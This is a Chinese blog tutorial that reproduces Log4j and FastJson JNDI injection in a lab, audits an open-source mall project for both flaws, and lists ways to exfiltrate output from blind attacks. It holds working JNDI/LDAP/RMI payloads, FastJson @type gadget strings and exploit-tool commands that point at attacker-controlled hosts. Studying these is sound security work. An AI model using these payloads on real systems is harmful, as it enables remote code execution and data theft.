JNDI注入Log4jFastJson白盒审计不回显处理

news2024/9/29 15:35:46

目录

0x00 前言

0x01 Maven 仓库及配置

0x02 JNDI 注入简介

0x03 Java-第三方组件-Log4J&JNDI

0x04 Java-第三方组件-FastJson&反射

0x05 白盒审计 - FastJson

0x06 白盒审计 - Log4j

0x07 不回显的处理方法


0x00 前言

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢! 

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 Maven 仓库及配置

Jar仓库:Maven Repository: Search/Browse/Explore (mvnrepository.com)

Maven配置:IDEA配置Maven的超详细步骤_java_脚本之家 (jb51.net)

0x02 JNDI 注入简介

参考:【精选】安全技术系列之JNDI注入_jndi注入原理-CSDN博客

Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。

简单来说,JNDI 就是一个 Java 自带的 API,可以实现远程打印、远程调用文件等。

可以看到,在图中 JNDI 的下面有 LDAP 和 RMI 两个协议,这两个协议是在 JNDI 注入过程中经常用到的,可以实现远程调用执行 Java class 文件。

LDAP 是一种用于访问和维护分布式目录服务信息的协议,广泛用于身份认证、访问控制和共享资源等领域。RMI是一种允许在分布式系统中进行远程方法调用的协议。

0x03 Java-第三方组件-Log4J&JNDI

1、Log4j简介

Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

简单来说,Log4j就是一个Java的第三方组件,用来对日志进行处理,如果项目有日志需求,就有可能用到Log4j。

历史漏洞:https://avd.aliyun.com/search?q=Log4j

2、简单测试 Log4j 漏洞

首先在 Maven 官网找到相应版本的 Log4j(我这里用的是 2.14.1 版本),粘贴到 pom.xml

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

创建一个 Log4jTest 的类来测试,以下是代码:(注意这里包不要倒错了)

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

运行 main 函数后,IDEA 控制台输出:123

修改 Log4jTest 类的代码,如下:

运行 main 函数后,IDEA 控制台输出了操作系统的信息,也就是以 Java 代码执行了系统命令

那么思考一个问题,如果 code 变量可控,是不是可以进行漏洞利用了呢?

新建一个 Web 项目模拟可控变量 code 的场景:创建一个 Log4jServlet,代码如下。

浏览器访问:http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=%24{java%3aos}

这里我测试直接传入code=${java:os}不行,不让直接输入 {} 号,所以进行了 URL 编码。最后IDEA 控制台同样输出了操作系统的信息。

3、工具测试 Log4j 漏洞

这里引入一款 JNDI 注入工具:JNDI-Injection-Exploit,这款工具可以生成一个 class 文件供远程访问,并附带 JNDI 链接,可以将这些链接插入 POC 以测试漏洞。

具体使用方法如下:

# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:
-C   远程class文件中要执行的命令
-A   服务器地址,可以是IP地址或者域名

注意:
要确保 1099、1389、8180端口可用,不被其他程序占用
或者你也可以在run.ServerStart类26~28行更改默认端口

实验时我用的 Kali 虚拟机来运行的 JNDI-Injection-Exploit 工具。本来想用腾讯云的 CentOS,但是测试发现进行 JNDI 注入后 Web 项目的主机(即我的物理机)没有成功访问 Kali 上的 class 文件,可能是防火墙策略的原因。

我的 Target Environment 是 JDK 1.8(也就是运行 Web 项目的主机,也即我的物理机),所以应该选择如图所示的 RMI 或 LDAP 链接。

基于之前的项目环境,构造 POC:

http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=${jndi:ldap://192.168.1.10:1389/hjrijn}

经过 URL 编码后为:

http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=%24%7bjndi%3aldap%3a%2f%2f192.168.1.10%3a1389%2fhjrijn%7d

成功弹出计算器,如图:

观察到 Kali 这边输出了日志,并且可以看到生成的 class 文件位置。

总结,触发JNDI 注入的原因:开发源码中引用漏洞组件(如 Log4j),使用了组件里可能会触发漏洞的代码(如 log.error),并且有可控变量存在(如这里的 $code)

这里我相当于是白盒知道该 Web 项目引用了 Log4j 组件并且知道注入点是 code,那么实战中(黑盒)如何知道对方有没有引用 Log4j 呢?并且就算注入成功自己也无从知晓(比如就算对方弹了计算器,但我是看不到的),那么又如何判断哪里是注入点呢?

思路:

  • Fofa、Shodan关键字搜 Log4j、根据返回包内容有无 Log4j 相关信息、页面报错信息等方式去判断对方有没有引用 Log4j
  • 通过 DNSLog 测试有无回连,比如构造 POC 为 ${jndi:ldap://xxx.dns.log} 去测试注入点

0x04 Java-第三方组件-FastJson&反射

1、FastJson 简介

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

Java 其实是有原生 Json 数据格式转换的,但由于 FastJson 速度更快,效率更高,所以被广泛使用。

简单来说 FastJson 就是一个阿里巴巴开发的用做 Json 数据格式转换的 Java 第三方组件。

历史漏洞:https://avd.aliyun.com/search?q=fastjson

2、简单测试 FastJson

同样先引用 FastJson 组件(我使用的是 1.2.24 版本)

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

创建一个 User 类,用来测试 FastJson 的数据格式转换

创建一个 FastjsonTest,使用 FastJson 处理 User 类的数据转换

运行 main 函数后,IDEA 控制台输出如下:

可以看到使用 JSONObject.toJSONString 的 SerializerFeature.WriteClassName 参数时会附带上类名,这也是漏洞利用的关键点。

将 JSON 格式字符串转换为对象的过程,实质上就是反序列化的过程,上述 JSON ---> 对象 的代码中:

String test = "{\"@type\":\"com.example.FastjsonDemo.User\",\"age\":23,\"name\":\"ch4ser\"}";

反序列化的是 User 这个类。试想,如果将在 com.example.FastjsonDemo 路径下创建一个新的类 Run,代码如下:

并且修改 "@type":"com.example.FastjsonDemo.Run",如下所示:

String test = "{\"@type\":\"com.example.FastjsonDemo.Run\",\"age\":23,\"name\":\"ch4ser\"}";

那么重新运行 main 函数,就会反序列化 Run 这个类,并且会触发 Run 这个类的无参构造方法 Run(),最终弹出计算器。

但是问题来了,这里我是做测试自己新建了一个类固定调用的,但实战中明显是不现实的,那么实战中应该如何操作呢?

3、测试 javax.naming.InitialContext.lookup() 方法

在搞清楚实战中应该如何操作之前,需要先引入 javax.naming.InitialContext.lookup() 这个方法。

也就是说,Java 如果要调用某个类的话,那就可以使用 InitialContext 这个类的 lookup 方法实现调用(利用 RMI、LDAP等远程调用)。基于安全角度看,这个方法就是专门用于 JNDI 注入的。

创建一个 JndiDemo 来测试 lookup 方法,代码如下:

以上为使用 JNDI-Injection-Exploit 工具,实测发现 LDAP可以弹出计算器,而 RMI 不行。

重新引入一款工具:Marshalsec,和 JNDI-Injection-Exploit 工具不同的是它内置一些绕过限制的功能。

使用这款工具需要自己先写一个类,然后编译成 class 文件并放到 Marshalsec 服务端(也就是我的 Kali)的网站目录下。

在 IDEA 终端编译 Run 类为 class 文件,并放到 Kali 网站目录下(默认是 /var/www/html)。

修改 JndiDemo 测试代码:

启动 Marshalsec 工具,运行 main 函数后发现 Server 端收到了请求,但是 Win11 并没有弹出计算器。问了群里大佬,说可能是工具问题,我看小迪用的时候也是有问题。

4、Fastjson 漏洞复现

模拟一个使用 Fastjson 组件的网站,前端代码如下:

后端代码如下:

查看网上别人的 Fastjson 利用 Payload 为:

Payload 1:
{
 "@type":"java.lang.Class",
 "val":"com.sun.rowset.JdbcRowSetImpl"
 }

Payload 2:
{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://dnslog.cn地址/zcc",
 "autoCommit":true
 }

启动 JNDI-Injection-Exploit 工具,构造 Payload 并填入,成功弹出计算器:

还是回到之前那个问题:实战中无法自己创建恶意类固定调用,那这里又是如何实现调用的呢?

原因是以上 Payload 中 指定的 com.sun.rowset.JdbcRowSetImpl 类调用了 InitialContext.lookup() 方法。

Java 中还有其他类调用了 InitialContext.lookup() 方法,如下:

1、在RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()

com.sun.rowset.JdbcRowSetImpl.execute()

javax.management.remote.rmi.RMIConnector.connect()

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)


2、在LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()

Spring LdapTemplate.lookup()

LdapTemplate.lookupContext()

现在我把项目的 JDK 版本由 1.8.0_131 换成 17.0.2 之后,还是原先的 Payload,发现数据还是能正常接收,但是计算器不弹了。

这是由于官方针对不同 JDK 版本做出了一些限制,也就是说,高版本的 JDK 会影响 JNDI 注入(RMI、LDAP),具体如下:

JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

0x05 白盒审计 - FastJson

迷你天猫商城:一个基于Spring Boot的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,确认收货,评价等一系列操作。 作为迷你天猫商城的核心组成部分之一,天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护。

项目环境搭建:首先配置好 Git,然后 Maven 点击 clean 和 install,再配置数据库连接信息,最后即可启动。

审计过程:

直接全局搜索 JSON.parse 或 JSON.parseObject,看到有四个地方用了 JSON.parseObject,表明使用了 FastJson 组件并使用了相关反序列化漏洞函数,随机跟进一个

跟进传入的参数值 propertyJson,得知该值为 产品属性 JSON 数据,并且通过 @RequestMapping 路由得知该功能点大概率是后台管理员添加产品的界面,反序列化的对象也即为产品信息

在 pom.xml 里搜索 fastjson,得知项目所使用的 FastJson 版本为 1.2.58,查阅漏洞库得知该版本存在漏洞

登录后台,测试添加产品并用 BurpSuite 抓包,看到确实有 propertyJson 这个值传递,于是下一步直接构造 payload 复现

构造 payload,测试出网回显调用访问:(这里 DNSLog 地址我用的 Yakit 生成的)

{"@type":"java.net.Inet4Address","val":"ldap://192.168.139.1:1389/eg5vto"}

改包发包之后,在 Yakit 这边看到连接,证明可以出网

0x06 白盒审计 - Log4j

同样,先全局搜索 logger.info 或 logger.error,搜索结果很多,但有可控变量的才能被利用

跟进,发现路由地址为 admin/uploadAdminHeadImage,变量 originalFileName 值是获取的上传头像的文件名,并且推测功能点应该是后台管理员头像上传界面

在 pom.xml 里搜索 log4j,得知项目所使用的 Log4j 版本为 2.10.0,查阅漏洞库得知该版本存在漏洞

登录后台,测试上传管理员头像并用 BurpSuite 抓包,看到路径确实是 admin/uploadAdminHeadImage,于是下一步直接构造 payload 传入 filename 值即可

构造 payload,测试出网回显调用访问:(这里 Yakit 抽风了,我用的 DNSLog.cn)

${jndi:ldap://endjri.dnslog.cn}

改包发包之后,在 DNSLog.cn 这边看到连接,证明可以出网

使用 JNDI-Injection-Exploit,尝试弹出计算器(我这里 JDK 版本是 8u131)

测试结果为:RMI不行,LDAP可以。原因还是和之前的一样,高版本的 JDK 会影响 JNDI 注入

0x07 不回显的处理方法

  • 直接将执行结果写入到静态资源文件里,如 HTML、JavaScript 等,然后访问
  • 通过 DNSLog 进行数据外带,但如果无法执行 DNS 请求就无法验证了
  • 接将命令执行结果回显到 HTTP 响应中

参考:面试长问|Fastjson不出网利用总结 (qq.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1323043.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

RK3399平台开发系列讲解(内核入门篇)网络协议的分层

🚀返回专栏总目录 文章目录 一、应用层二、传输层三、网络层四、数据链路层(Data Link Layer)五、物理层沉淀、分享、成长,让自己和他人都能有所收获!😄 📢对于多数的应用和用户而言,使用互联网的一个基本要求就是数据可以无损地到达。用户通过应用进行网络通信࿰

Android的组件、布局学习

介绍 公司组织架构调整&#xff0c;项目组需要承接其他项目组的android项目&#xff0c;负责维护和开发新需求&#xff0c;故学习下基础语法和项目开发。 组件学习 Toolbarheader布局部分 就是app最顶部的部分 他的显示与否&#xff0c;是与F:\androidProject\android_lear…

LVGL 显示图片

LVGL 显示图片 LVGL显示图片1. 显示图片文件2. 显示C数组格式3. 显示RAM中的图像文件4. 图像符号显示5. 显示GIF动画LVGL显示图片代码分析 LVGL显示图片 lvgl 8.3版本默认支持PNG,BMP,JPG,SJPG和GIF动图等格式的图片显示&#xff1b; 需要在lv_conf.h配置文件里使能对应图片的…

【网络安全】—Shell编程入门(1)

文章目录 基础变量概念介绍特殊变量进阶数值计算实践条件测试比较条件判断语句流程控制语句循环语句应用 Shell 是 Unix/Linux 操作系统下的一种命令行解释器&#xff0c;它接收用户输入的命令然后调用相应的程序。我们可以通过 Shell 脚本来自动执行一系列的命令。接下来&…

基于python的leetcode算法介绍之递归

文章目录 零 算法介绍一 简单示例 辗转相除法Leetcode例题与思路[509. 斐波那契数](https://leetcode.cn/problems/fibonacci-number/)解题思路&#xff1a;题解&#xff1a; [206. 反转链表](https://leetcode.cn/problems/reverse-linked-list/)解题思路&#xff1a;题解&…

最新AI创作系统ChatGPT系统源码+DALL-E3文生图+AI绘画+GPT语音对话功能

一、前言 SparkAi创作系统是基于ChatGPT进行开发的Ai智能问答系统和Midjourney绘画系统&#xff0c;支持OpenAI-GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美&#xff0c;可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如何搭建部署AI创作Ch…

计算机网络 网络层下 | IPv6 路由选择协议,P多播,虚拟专用网络VPN,MPLS多协议标签

文章目录 5 IPv65.1 组成5.2 IPv6地址5.3 从IPv4向IPv6过渡5.3.1 双协议栈5.3.2 隧道技术 6 因特网的路由选择协议6.1 内部网关协议RIP6.2 内部网关协议 OSPF基本特点 6.3 外部网关协议 BGP6.3.1 路由选择 6.4 路由器组成6.4.1 基本了解6.4.2 结构 7 IP多播7.1 硬件多播7.2 IP多…

vp与vs联合开发-通过FrameGrabber连接相机

添加控件 1.CogRecordDisplay 控件 用于显示图像 初始化相机对象方法 //启动窗体时 调用初始化相机方法 //封装相机关闭方法 //窗体关闭时 调用相机关闭方法 拍照 设置采图事件 // 保存图像 设置曝光按钮事件 1.可变参数

C# pictureBox显示一张图片,我想先释放这个图片以免占用无法修改,(旋转)改完再显示这张图片

效果 public static bool RotateFlip(MyDel Log, string fileName){try{string tempPath Path.GetTempFileName();using (Bitmap bmp new Bitmap(fileName)){float resolution 600; //x,y必须为这个数 误差小于-1bmp.RotateFlip(RotateFlipType.Rotate90FlipNone);bmp.Save(…

智能优化算法应用:基于冠状病毒群体免疫算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于冠状病毒群体免疫算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于冠状病毒群体免疫算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.冠状病毒群体免疫算法4.…

飞天使-k8s-知识点1-kubernetes架构简述

文章目录 名词功能要点 k8s核心要素CNCF 云原生框架简介k8s组建介绍 名词 CI 持续集成, 自动化构建和测试&#xff1a;通过使用自动化构建工具和自动化测试套件&#xff0c;持续集成可以帮助开发人员自动构建和测试他们的代码。这样可以快速检测到潜在的问题&#xff0c;并及早…

C/C++编程中的算法实现技巧与案例分析

C/C编程语言因其高效、灵活和底层的特性&#xff0c;被广大开发者用于实现各种复杂算法。本文将通过10个具体的算法案例&#xff0c;详细探讨C/C在算法实现中的技巧和应用。 一、冒泡排序&#xff08;Bubble Sort&#xff09; 冒泡排序&#xff08;Bubble Sort&#xff09;是一…

单片机应用实例:LED显示电脑电子钟

本例介绍一种用LED制作的电脑电子钟&#xff08;电脑万年历&#xff09;。其制作完成装潢后的照片如下图&#xff1a; 上图中&#xff0c;年、月、日及时间选用的是1.2寸共阳数码管&#xff0c;星期选用的是2.3寸数码管&#xff0c;温度选用的是0.5寸数码管&#xff0c;也可根据…

人工智能中不可预测的潜在错误可能是灾难性的——数学解释

一、说明 有没有人研究评估AI的错误产生的后果有多么严重&#xff0c;是否存在AI分险评估机制&#xff1f;更高维度上&#xff0c;人工智能的未来是反乌托邦还是乌托邦&#xff1f;这个问题一直是争论的话题&#xff0c;各大阵营都支持。我相信我们无法准确预测这两种结果。这是…

画图之C4架构图idea和vscode环境搭建篇

VS Code 下C4-PlantUML安装 安装VS Code 直接官网下载安装即可,过程略去。 安装PlantUML插件 在VS Code的Extensions窗口中搜索PlantUML,安装PlantUML插件。 配置VS Code代码片段 安装完PlantUML之后,为了提高效率,我们最好安装PlantUML相关的代码片段。 打开VS Cod…

React心理健康测试网站系统源码

帮助需要的人更好地了解自己的心理健康状态和人格特征。本模板提供了一个最小的配置&#xff0c;使得React可以在Vite中启用HMR&#xff0c;并且包含了几个ESLint规则。只需要使用react antd-mobile即可轻松部署完成。 源码下载&#xff1a;https://download.csdn.net/downlo…

操作系统系列:Unix进程系统调用fork,wait,exec

操作系统系列&#xff1a;Unix进程系统调用 fork系统调用fork()运用的小练习 wait系统调用Zombiesexec 系列系统调用 开发者可以查看创建新进程的系统调用&#xff0c;这个模块会讨论与进程相关的Unix系统调用&#xff0c;下一个模块会讨论Win32 APIs相关的进程。 fork系统调用…

智能优化算法应用:基于学生心理学算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于学生心理学算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于学生心理学算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.学生心理学算法4.实验参数设定5.算法…

VS+Qt 打包Python程序

书接上回&#xff0c;调用C调用python&#xff0c;下面来谈谈随exe文件打包。 先说下环境vs2019Qt5.12.11python3.8&#xff0c;这里需要注意如果你要适配Win7的系统&#xff0c;python最好是9以下&#xff0c;以上不兼容&#xff0c;也没时间找方法&#xff0c;找到评论说下 如…

实现个人日志命令行工具(C语言)

〇、前言 中午上课的时候&#xff0c;打开 github 看了一下个人主页&#xff0c;虽然最近很忙&#xff0c;但是这个活动记录有点过于冷清&#xff1a; 于是我就想着写一个日志命令行工具&#xff0c;输入以下命令就能将我的日志立即同步到 github 上&#xff1a; mylog toda…